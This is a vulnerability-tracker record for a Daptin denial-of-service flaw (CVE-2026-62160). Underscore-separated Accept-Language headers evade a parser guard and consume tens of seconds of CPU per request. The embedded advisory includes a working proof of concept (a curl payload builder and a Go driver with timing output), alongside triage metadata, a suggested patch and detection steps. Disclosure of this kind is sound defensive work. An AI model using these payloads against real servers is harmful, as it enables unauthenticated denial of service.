{"id":"CVE-2026-62160","kind":"vulnerability","aliases":["CVE-2026-62160","GHSA-rhj7-vh3v-mcq6"],"related":[],"title":"Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware","description":"### Summary\n\nDaptin's `LanguageMiddleware` (registered as a global gin middleware) calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.\n\n### Affected versions\n\n`github.com/daptin/daptin` v0.12.15 and (per code inspection of `master`) all earlier 0.12.x versions that wire `LanguageMiddleware` on the global gin router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official release binary `daptin-linux-amd64` v0.12.15 built into a Docker image from the project's own `Dockerfile` (E2E below)\n- `master` at commit `b021ac4ae1f72b7401e851fcf883bc970303c794` by reading `server/language.go` (the middleware is unchanged)\n\n### Privilege required\n\nUnauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated `/api` style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.\n\n### Vulnerable code\n\n[`server/language.go`](https://github.com/daptin/daptin/blob/b021ac4ae1f72b7401e851fcf883bc970303c794/server/language.go) (blob SHA `b021ac4ae1f72b7401e851fcf883bc970303c794`):\n\n```go\nfunc (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {\n    pref := GetLanguagePreference(c.GetHeader(\"Accept-Language\"), lm.defaultLanguage)\n    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), \"language_preference\", pref))\n}\n\nfunc GetLanguagePreference(header string, defaultLanguage string) []string {\n    preferredLanguage := header\n\n    if preferredLanguage == \"\" || preferredLanguage == \"undefined\" || preferredLanguage == \"null\" {\n        preferredLanguage = defaultLanguage\n    }\n\n    languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)\n    resource.CheckErr(err, \"Failed to parse Accept-Language header [%v]\", preferredLanguage)\n    pref := make([]string, 0)\n    prefMap := make(map[string]bool)\n\n    if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {\n        // single tag matches default — skip\n    } else {\n        for _, tag := range languageTags {\n            base, conf := tag.Base()\n            if conf == 0 {\n                continue\n            }\n            if prefMap[base.String()] == true {\n                continue\n            }\n            prefMap[base.String()] = true\n            pref = append(pref, base.String())\n        }\n    }\n    return pref\n}\n```\n\n`c.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe `resource.CheckErr` call on the error path also formats the entire input string into a log line (`Failed to parse Accept-Language header [%v]`), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 256 KiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery HTTP request that hits the Daptin API server passes through `LanguageMiddleware` (registered as a global gin middleware). The middleware sequence is:\n\n1. The request enters `LanguageMiddlewareFunc`.\n2. `c.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `GetLanguagePreference(header, defaultLanguage)` is called.\n4. The function passes the unfiltered header into `language.ParseAcceptLanguage(preferredLanguage)`.\n\nNo size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at `/` and the public API root at `/api`.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:\n\n```bash\n# Build daptin image (uses prebuilt linux/amd64 release binary)\ncd daptin\ncurl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64\nchmod +x daptin-linux-amd64\ndocker build --platform linux/amd64 -t daptin-poc:v0.12.15 .\n\n# Start it\ndocker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15\nsleep 8  # wait for sqlite migrations + Olric ring\n\n# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling\n# because daptin's per-request cost saturates well below 1 MiB)\nPAYLOAD=\"en$(python3 -c 'print(\"_abcdefghi\" * 25600, end=\"\")')\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w 'http=%{http_code} t=%{time_total}\\n' \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:18888/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).\n\n### End-to-end reproduction (against `daptin-linux-amd64` v0.12.15)\n\nA Go driver `poc.go` boots the container, sends a 256 KiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18888/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) <= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := &http.Client{\n        Timeout: 120 * time.Second,\n        Transport: &http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires ('-' x 256KiB)\", buildPayload(\"-\", 256*1024))\n    send(\"attack ('_' x 256KiB)\",     buildPayload(\"_\", 256*1024))\n    send(\"attack repeat 2\",            buildPayload(\"_\", 256*1024))\n    send(\"attack repeat 3\",            buildPayload(\"_\", 256*1024))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation):\n\n```\nE2E: golang/x/text ParseAcceptLanguage '_' bypass through\ndaptin/daptin v0.12.15 LanguageMiddleware at\nserver/language.go.\n\nTarget: http://127.0.0.1:18888/   payload=262144 B\n\n  warm-up                                      header=0 B  '_'=0  '-'=0  status=200  t=19.968ms\n\n--- measurements (single request each) ---\n  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=200  t=25.924208ms\n  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=200  t=28.398333ms\n  guard-fires control ('-' x 256KiB)           header=262142 B  '_'=0  '-'=26214  status=200  t=105.506458ms\n  attack ('_' x 256KiB)                        header=262142 B  '_'=26214  '-'=0  status=200  t=26.679448875s\n  attack repeat 2                              header=262142 B  '_'=26214  '-'=0  status=200  t=18.012964208s\n  attack repeat 3                              header=262142 B  '_'=26214  '-'=0  status=200  t=8.868606042s\n```\n\nA separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB.\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 26 - 28 ms  |\n| 256 KiB `-` separators (CVE-2022-32149 guard fires) | 256 KiB | 106 ms      |\n| 256 KiB `_` separators (guard bypassed)  | 256 KiB      | 9 - 27 s    |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | > 120 s     |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB `-` payload returns in 106 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and >1000x on a 1 MiB payload.\n\nThe amplification is higher than other consumers of `ParseAcceptLanguage` because Daptin formats the entire input into a log line via `resource.CheckErr(err, \"Failed to parse Accept-Language header [%v]\", preferredLanguage)` when parsing fails, and runs additional bookkeeping in `GetLanguagePreference` (a `prefMap` deduplication loop over the resulting tag slice).\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~9-27 seconds per 256 KiB request, or for at least 120 seconds per 1 MiB request.\n- A single attacker on a 1 Mbit/s uplink can sustain ~1 attack request every 30 seconds, pinning one server core continuously with one TCP connection.\n- A small number of concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Daptin instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.\n\n### Suggested fix\n\nApply the size / character-class filter inside `LanguageMiddleware` (and inside `GetLanguagePreference` for defence in depth) before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// server/language.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send < 10\n\nfunc (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {\n    header := c.GetHeader(\"Accept-Language\")\n    if strings.Count(header, \"-\")+strings.Count(header, \"_\") > maxAcceptLanguageSeparators {\n        // Refuse to call into the BCP 47 parser with absurd input.\n        header = \"\"\n    }\n    pref := GetLanguagePreference(header, lm.defaultLanguage)\n    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), \"language_preference\", pref))\n}\n```\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n### Fix PR\n\nhttps://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1\n\n### Maintainer fix status\n\nFixed on `master` in commit `2d709509 Harden Accept-Language parsing`.\n\nThe fix caps combined `-` and `_` separators in `Accept-Language` before calling `language.ParseAcceptLanguage`, both in `LanguageMiddlewareFunc` and in `GetLanguagePreference` for defence in depth. Regression coverage was added in `server/language_test.go` for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting.\n\nVerification run:\n\n```bash\ngo test ./server -count=1\n```\n\nResult: passed.","summary":"Daptin's global language middleware parses every request's Accept-Language header with golang.org/x/text, and underscore-separated input skips that library's size guard. A single unauthenticated request with a 256 KiB header can consume 9 to 27 seconds of server CPU, so a small stream of requests can keep a host busy.","severity":"high","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/daptin/daptin","fixed":[],"affected":"<= 0.12.15","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-400","daptin","go","package","self-hosted"],"not_affected_if":["header-size-limited-proxy","not-daptin","patched-build"],"how_to_check":"- Run 'daptin --version' or check the image tag. 0.12.15 and earlier 0.12.x are affected.\n- Check go.mod for github.com/daptin/daptin at <= 0.12.15.\n- Check that server/language.go caps '-' and '_' separators (commit 2d709509).\n- Check whether port 8080 is reachable from untrusted networks.\n- Test on a non-production copy: send a 256 KiB Accept-Language header built from '_abcdefghi' tokens. An unpatched build takes 9 to 27 s; a patched build answers in milliseconds.","fix":"Fixed on master in commit 2d709509 (2026-06-25, 'Harden Accept-Language parsing'), which caps combined '-' and '_' separators before language.ParseAcceptLanguage. The advisory names no release number. Move to the latest release (v0.13.36 was newest on 2026-10-05, well after the commit) or build from master at 2d709509 or later. Which release first shipped the fix is unconfirmed.","status":"open","published_at":"2026-10-29T16:33:09+00:00","first_seen_at":"2026-10-29T16:33:51+00:00","triaged_at":"2026-10-29T16:35:34+00:00","updated_at":"2026-10-29T16:37:03+00:00","category":"package","confidence":0.75,"triage":{"at":"2026-10-29T16:35:34Z","model":"claude-haiku-5-5","output":{"fix":"unknown","reach":"internet","title":"Daptin: Accept-Language underscore separators let one request pin CPU","impact":"low","summary":"Daptin's global language middleware parses every request's Accept-Language header with golang.org/x/text, and underscore-separated input skips that library's size guard. A single unauthenticated request with a 256 KiB header can consume 9 to 27 seconds of server CPU, so a small stream of requests can keep a host busy.","audience":"developers","category":"package","nicknames":[],"who_cares":["daptin","go","self-hosted"],"confidence":0.8,"fix_status":"unknown","needs_auth":"no","worst_case":"Repeated requests exhaust server CPU, causing denial of service","analyst_note":"Confirm the fixed Daptin version and whether maintainers have released a patch at https://github.com/advisories/GHSA-rhj7-vh3v-mcq6; the sources do not state one.","how_to_check":"- Check the Daptin version with `daptin --version` or the image tag; the sources state `0.12.15` and earlier 0.12.x releases are affected.\n- Check whether the Go module `github.com/daptin/daptin` is pinned in `go.mod` at version `<= 0.12.15`.\n- Confirm that the HTTP listener (port `8080` by default) is reachable from untrusted networks.","plain_action":"","needs_analyst":true,"not_affected_if":["not-daptin","patched-build","header-size-limited-proxy"],"who_is_affected":"Any deployment of Daptin 0.12.15 or earlier that accepts HTTP requests from untrusted clients is exposed, because the language middleware runs on the global router, including unauthenticated pages. Deployments behind a proxy that caps header size or that run a patched build can reduce exposure, but the sources do not state a fixed version. Teams that do not run Daptin can skip this.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.001247,"input_tokens":9046,"output_tokens":685,"severity_before":"high"},"analyst_status":"done","analyst_note":"Confirm the fixed Daptin version and whether maintainers have released a patch at https://github.com/advisories/GHSA-rhj7-vh3v-mcq6; the sources do not state one.","search":"'-1':542C '-2022':144C,546C '-2026':17A,25A '-32149':145C,547C '-400':31B '-62160':18A,26A '/api':340C '/daptin/daptin':29A,252C '/daptin/daptin/blob/b021ac4ae1f72b7401e851fcf883bc970303c794/server/language.go)':362C '/golang/text/blob/v0.28.0/internal/language/parse.go)).':582C '/x/text':150C '/x/text,':54B '/x/text/internal/language/parse.go':579C '/x/text/language.parseacceptlanguage':108C '0':422C,433C,451C '0.12':262C '1':202C,218C,233C,431C,482C,484C '1000':163C,559C '2':223C '20':483C '250x':6A '256':72B,197C,540C,584C '27':79B,207C '30':246C '8080':351C '9':77B 'accept':11A,48B,113C,189C,281C,377C,414C,469C,529C 'accept-languag':10A,47B,112C,188C,280C,376C,413C,468C,528C 'add':151C 'affect':248C 'alias':177C 'allow':496C 'also':515C 'amd64':292C 'amplif':8A 'amplifi':533C 'anyon':343C 'append':462C 'attack':230C,505C,538C 'attacker-control':504C 'attacker-suppli':537C 'b021ac4ae1f72b7401e851fcf883bc970303c794':310C,365C 'base':446C 'base.string':455C,459C,464C 'behaviour':134C 'binari':288C 'blob':363C 'bool':427C 'built':192C,294C 'busi':94B 'bypass':4A 'c':371C 'c.getheader':375C,467C 'c.request':380C 'c.request.context':383C 'c.request.withcontext':381C 'call':105C,510C 'cap':154C,168C 'ceil':204C 'charact':158C,169C,552C,567C 'client':226C 'code':256C,358C 'commit':309C 'conf':447C,450C 'consum':76B,205C 'context.withvalue':382C 'continu':452C,457C 'control':506C 'convert':572C 'cost':535C 'count':551C,566C 'cpu':7A,83B,211C 'cve':16A,24A,143C,545C 'cwe':30B 'daptin':1A,32B,38B,96C,216C,240C,290C,487C 'daptin-linux-amd64':289C 'data':507C 'default':353C,439C,478C 'defaultlanguag':391C,403C,435C 'docker':297C 'dockerfil':304C 'e2e':305C 'earlier':261C 'els':441C 'enabl':5A 'endpoint':342C 'entir':239C,518C 'err':405C,409C 'error':513C 'even':170C,200C,568C 'everi':44B,117C,245C 'exceed':221C 'f':587C 'fail':410C,525C 'filter':126C 'format':516C 'func':367C,387C 'get':184C 'getlanguageprefer':374C,388C 'ghsa':20A 'ghsa-rhj7-vh3v-mcq6':19A 'gin':103C,271C,328C 'gin.context':372C 'github.com':28A,251C,361C,581C 'github.com/daptin/daptin':27A,250C 'github.com/daptin/daptin/blob/b021ac4ae1f72b7401e851fcf883bc970303c794/server/language.go)':360C 'github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).':580C 'global':40B,102C,270C,327C 'go':33B,366C,476C 'golang.org':53B,107C,149C,578C 'golang.org/x/text':148C 'golang.org/x/text,':52B 'golang.org/x/text/internal/language/parse.go':577C 'golang.org/x/text/language.parseacceptlanguage':106C 'guard':65B,146C,563C 'harden':548C 'header':13A,50B,74B,115C,191C,389C,395C,416C,475C,531C,586C 'host':37B,93B,214C,241C 'http':118C,348C,474C 'imag':298C 'impos':121C,274C 'input':59B,161C,519C,555C 'inspect':257C 'intern':175C 'keep':91B 'kib':73B,198C,541C,585C 'land':335C 'languag':12A,41B,49B,114C,140C,190C,282C,378C,384C,415C,470C,530C 'language.parseacceptlanguage':406C 'languagemiddlewar':15A,98C,267C,369C 'languagemiddlewarefunc':370C 'languagetag':404C,430C,432C,445C 'len':429C 'librari':62B 'limit':278C 'line':524C 'linux':291C 'list':137C 'listen':349C 'lm':368C 'lm.defaultlanguage':379C 'log':523C 'long':136C 'make':420C,424C 'malform':139C 'map':425C 'master':259C,307C 'match':438C 'maxheaderbyt':480C 'mbit/s':234C 'mcq6':23A 'megabyt':502C 'mib':203C,219C,485C,543C 'middlewar':42B,104C,315C,322C 'minut':224C 'net/http':479C 'null':401C 'number':156C 'offici':286C 'one':243C 'overrid':490C 'packag':34B 'page':336C 'pars':43B,180C,412C,527C,575C 'parseacceptlanguag':2A,549C 'parser':129C,173C,494C 'path':514C 'payload':220C,544C 'per':255C 'pin':237C 'port':350C 'pref':373C,386C,419C,461C,463C,466C 'prefer':385C 'preferredlanguag':394C,397C,398C,400C,402C,407C,418C 'prefmap':423C,454C,458C 'privileg':318C 'project':301C 'public':334C 'quadrat':132C 'quadratic-tim':131C 'rang':444C 'raw':111C 'reach':346C 'read':312C 'receiv':498C 'regist':99C,324C 'reject':554C 'releas':287C 'request':45B,69B,89B,119C,185C,244C 'requir':319C 'resource.checkerr':408C,509C 'return':465C 'rhj7':21A 'router':272C,329C 'run':215C 'scanner':176C,571C 'scope':356C 'second':80B,208C,247C 'self':36B 'self-host':35B 'separ':3A,58B,195C 'serv':331C 'server':82B,210C 'server/language.go':313C,359C 'sha':364C 'shape':125C 'singl':67B,182C,229C,436C 'size':64B,123C,277C 'skip':60B,440C 'small':86B 'stream':87B 'string':390C,392C,393C,421C,426C,434C,520C 'style':341C 'summari':95C 'suppli':539C 'tag':141C,437C,443C 'tag.base':448C 'test':225C 'though':171C,569C 'time':133C,576C 'timeout':227C 'true':456C,460C 'unauthent':68B,183C,320C,339C 'unchang':317C 'undefin':399C 'under':128C 'underscor':57B 'underscore-separ':56B 'unfilt':473C 'uplink':235C 'v':417C,532C 'v0.12.15':253C,293C 'v0.3.8':153C 'verifi':283C 'version':249C,264C 'vh3v':22A 'via':9A 'vulner':357C 'wire':266C 'without':120C,273C 'x':263C","nicknames":[],"mitigations":[],"who_affected":"Any deployment of Daptin 0.12.15 or earlier that accepts HTTP requests from untrusted clients is exposed, because the language middleware runs on the global router, including unauthenticated pages. Deployments behind a proxy that caps header size or that run a patched build can reduce exposure, but the sources do not state a fixed version. Teams that do not run Daptin can skip this.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"first_public_at":"2026-10-29T16:33:09+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-rhj7-vh3v-mcq6","url":"https://github.com/advisories/GHSA-rhj7-vh3v-mcq6","severity":"high","published_at":"2026-10-29T16:33:09+00:00","modified_at":"2026-10-29T16:33:12+00:00","first_seen_at":"2026-10-29T16:33:51+00:00","fetched_at":"2026-10-29T16:33:51+00:00","note":null},{"source":"analyst","external_id":"CVE-2026-62160:1071","url":null,"severity":null,"published_at":"2026-10-29T16:37:03+00:00","modified_at":"2026-10-29T16:37:03+00:00","first_seen_at":"2026-10-29T16:37:03+00:00","fetched_at":"2026-10-29T16:37:03+00:00","note":"Read the maintainer advisory text. It says fixed on master in 2d709509 (commit page linked). The fix release number is not stated; the Releases page shows v0.13.x releases from Sept/Oct, after the June commit, but I did not confirm which one first has the fix. Nothing was verified. No exploitation reported; the advisory includes a PoC. Severity unchanged."}],"documents":[{"id":17767,"url":"https://api.github.com/repos/daptin/daptin/security-advisories/GHSA-rhj7-vh3v-mcq6","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":17768,"url":"https://github.com/daptin/daptin/security/advisories/GHSA-rhj7-vh3v-mcq6","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":17797,"url":"https://github.com/daptin/daptin/commit/2d70950979b51eb6c8b4234dd50558b608ad2ffe","title":"Harden Accept-Language parsing (2d70950)","kind":"release","source":"analyst","publisher":null,"text":null,"published_at":null,"relation":"fix","confidence":null,"note":null}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}